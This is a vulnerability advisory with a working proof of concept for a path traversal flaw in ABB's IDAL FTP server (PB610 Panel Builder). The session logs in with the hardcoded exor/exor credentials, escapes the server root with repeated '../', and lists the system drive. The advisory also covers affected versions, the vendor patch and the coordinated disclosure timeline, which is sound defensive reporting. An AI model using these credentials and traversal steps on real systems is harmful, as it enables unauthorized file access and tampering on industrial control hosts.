XL-19-008 - ABB IDAL FTP Server Path Traversal Vulnerability ======================================================================== Identifiers ----------- XL-19-008 CVE-2019-7227 ABBVU-IAMF-1902006 CVSS Score ---------- 7.3 (AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N) Affected vendor --------------- ABB (new.abb.com) Credit ------ Eldar Marcussen - xen1thLabs - Software Labs Vulnerability summary --------------------- The IDAL FTP server fails to ensure that directory change requests do not change to locations outside of the FTP servers root directory. An authenticated attacker can simply traverse outside the server root directory by changing the directory with "cd ..". Technical details ----------------- An authenticated attacker can traverse to arbitrary directories on the hard disk and then use the FTP server functionality to download and upload files. An unauthenticated attacker can take advantage of the hardcoded or default credential pair exor/exor to become an authenticated attacker. Proof of concept ---------------- ``` ftp> open localhost 22 Connected to WIN-542AQUCL4LD. 220 Welcome to IDAL FTP server. READY. User (WIN-542AQUCL4LD:(none)): exor 331 User name ok, need password. Password: 230 User successfully logged in. 550 CWD command failed. Directory not found. ftp> cd ../../../../../../../../../../../../../../../ 250 CWD command successful. ftp> dir 200 PORT command successful.ac 150 Opening ASCII mode data connection for LIST. drwxrwxrwx 1 0 0 0 Dec 11 05:45 $Recycle.Bin -rwxrwxrwx 1 0 0 24 Jun 10 2009 autoexec.bat drwxrwxrwx 1 0 0 0 Dec 11 16:41 Boot -r--r--r-- 1 0 0 383562 Jul 14 2009 bootmgr -r--r--r-- 1 0 0 8192 Dec 11 16:41 BOOTSECT.BAK -rw-rw-rw- 1 0 0 10 Jun 10 2009 config.sys drwxrwxrwx 1 0 0 0 Jul 14 2009 Documents and Settings -rw-rw-rw- 1 0 0 -1074274304 Dec 11 12:36 pagefile.sys drwxrwxrwx 1 0 0 0 Jul 14 2009 PerfLogs dr-xr-xr-x 1 0 0 0 Dec 11 11:42 Program Files drwxrwxrwx 1 0 0 0 Dec 11 12:36 ProgramData drwxrwxrwx 1 0 0 0 Dec 11 05:44 Recovery -rw-rw-rw- 1 0 0 213 Dec 11 07:23 setup.log drwxrwxrwx 1 0 0 0 Dec 11 12:26 System Volume Information dr-xr-xr-x 1 0 0 0 Dec 11 05:44 Users drwxrwxrwx 1 0 0 0 Dec 11 07:20 Windows 226 Transfer complete. ftp: 1009 bytes received in 0.01Seconds 100.90Kbytes/sec. ftp> ``` Affected systems ---------------- PB610 Panel Builder 600, order code: 1SAP500900R0101, versions 1.91 ... 2.8.0.367 Solution -------- Apply the patches and instructions from vendor: - ABB PB610 - https://search.abb.com/library/Download.aspx?DocumentID=3ADR010377&LanguageCode=en&DocumentPartId=&Action=Launch Disclosure timeline ------------------- 04/02/2019 - Contacted ABB requesting disclosure coordination 05/02/2019 - Provided vulnerability details 05/06/2019 - Patch available 17/06/2019 - xen1thLabs public disclosure